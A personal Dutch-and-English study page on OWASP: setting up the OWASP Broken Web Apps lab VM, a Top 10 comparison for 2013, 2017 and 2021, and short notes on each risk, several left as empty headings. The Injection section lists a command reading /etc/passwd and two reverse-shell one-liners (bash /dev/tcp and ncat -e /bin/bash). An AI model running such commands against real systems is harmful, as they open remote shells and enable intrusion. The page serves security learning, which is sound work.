KB » Computer » OWASP

OWASP

    Tweeten

Het installeren van de OWASP virtual machine

Download de machine van Sourceforge.

Maak een nieuwe machine aan in VirtualBox, van het type Linux en versie Ubuntu 64-bit. Selecteer Use an existing virtual hard disk file

Navigeer naar je map met OWASP files, en selecteer de file met de kortste naam. Klik op Create.

Je kan zowel de 2e adapter van Kali als de network adapter van OWASP in Host-only adapter mode zetten.

Username is root en password is owaspbwa


Top 10

Nummer 2013 2017 2021 Beschrijving
A01 Injection Injection Broken Access Control
A02 Broken Authentication and Session Management Broken Authentication Cryptographic Failures (was A03, Sensitive Data Exposure)
A03 Cross-Site Scripting (XSS) Sensitive Data Exposure Injection
A04 Insecure Direct Object References (IDOR) XML External Entities (XXE) (new) Insecure Design (new)
A05 Security Misconfiguration Broken Access Control (merged from 4 and 7) Security Misconfiguration (from 6)
A06 Sensitive Data Exposure Security Misconfiguration Vulnerable and Outdated Components
A07 Missing Function Level Access Control Cross-Site Scripting (XSS) Identification and Authentication Failures
A08 Cross-Site Request Forgery Insecure Deserialization Software and Data Integrity Failures
A09 Using Components with Known Vulnerabilities Using Components with Known Vulnerabilities Security Logging and Monitoring Failures
A10 Unvalidated Redirects and Forwards Insufficient Loggin and Monitoring Server Side Request Forgery

Uitleg

Injection

Injection occurs when an attacker exploits insecure code to inject their own code into a program/website/DB.

Any interpreter which combines data into a command is vulnerable to these attacks. Untrusted data is directly interpreted.

Types of injection: SQL, LDAP, OS, Command, Ruby, Shell Shock (bash vulnerability), etc.

Commando's die je graag zou willen uitvoeren:
Read users in Linux: cat /etc/password
Reverse connection: bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Reverse connection: ncat 10.0.0.1 4242 -e /bin/bash

Broken Access Control

The attacker is able to operate as the user or as an administrator in the system. He is able to elevate privileges on the app.

BAC is restricted users' access not properly handled (MFLAC ), bv. als studenten op een school dingen kunnen doen die eigenlijk aan leraren zijn voorbehouden.

Wat kan je met BAC bereiken?:

Insecure Direct Object References (IDOR)

Cross-Site Scripting (XSS)

Zie een vrij onduidelijke FAQ uit 2002 op cgisecurity.com.

Op https://xss-game.appspot.com/level1 kan je XSS aanvallen oefenen door een aantal levels op te lossen (je kan hints krijgen).

Dit staat een aanvaller toe om (Java)script uit te voeren. Het is een vorm van injection, alleen i.p.v. data te injecten in SQL-queries, probeer je nu scripts te injecten in HTML.

Er zijn 3 soorten XSS: Reflected, Stored, DOM-based.

RXSS

The application includes invalidated or unescaped users input as part of HTML output, which can be used for further ATO's (Account TakeOver). This attack allows attacker to execute js in victims browser, and hijack the session cookie leading to ATO.

User input is immediately returned by a web application in an error message of ander soort response.

Een mooi voorbeeld in DVWA, waar je een Javascript alert in een invoerveld zet, en dit wordt uitgevoerd (omdat er niet op vreemde tekens wordt gecontroleerd).

SXSS

Attacker can store JavaScript on the server. User input is stored in target server, such as in db. Een victim haalt die info op, waardoor de code in zijn web browser wordt uitgevoerd.

DXSS

Client side attack, where untrusted input is passed in source and comes out of sink and executes.

Entire data flow from souce takes place in browser. Source code could be a URL of a page, or it could be an element of the HTML.

How to fix

Input sanitization, escaping and encoding, WAF.

Sensitive Data Exposure (t/m 2017)

Sensitive data including source code, api, passwords, etc., has been disclosed.

Voorbeelden:

Wanneer gebeurt SDE?:

Hoe SDE fixen?

Broken Authentication and Session Management

Identification and Authentication Failures (was Broken Authentication)

Attacker is able to bypass the authentication using session token flaws, brute force, no-rate-limiting, password compromise using response manipulation, etc.

OTP Bypass, Captcha Bypass, Common Passwords Brute Force, 2FA Bypass.

BA happens because:

Cryptographic Failures

XML External Entities (XXE)

Applicaties die XML parsen zijn kwetsbaar. Dat gebeurt als in de XML een reference naar een external entity zit, en de parser is zwak.

XXE kan leiden tot:

De beste manier om XXE te vermijden is DTD's (External Entities) compleet te disablen.

Insecure Design

Security Misconfiguration

Denk aan:

Why SM happens:
Unnecessary features enabled / installed.
Unsecure settings in app servers (Struts, Spring, ASP.Net), libraries, db.

Wat kan je bereiken met SM:

Vulnerable and Outdated Components (was Using Components with Known Vulnerabilities)

Missing Function Level Access Control

Cross-Site Request Forgery (disappeared in 2017)

Insecure Deserialization (new sinds 2017)

Dit gebeurt doordat serialized objects geaccepteerd worden van een onbetrouwbare bron, en dan een deserialize gedaan wordt.

Je kan met insecure des. bereiken dat sensitive files ge-disclose'd worden, of RCE.

Software and Data Integrity Failures

Security Logging and Monitoring Failures (was Insufficient Loggin and Monitoring)

Server Side Request Forgery

Unvalidated Redirects and Forwards



    Tweeten

© Henk Dalmolen
Reageer via E-mail (dalmolen@xs4all.nl)

Deze pagina is voor het laatst gewijzigd op: 03-02-23 21:34:52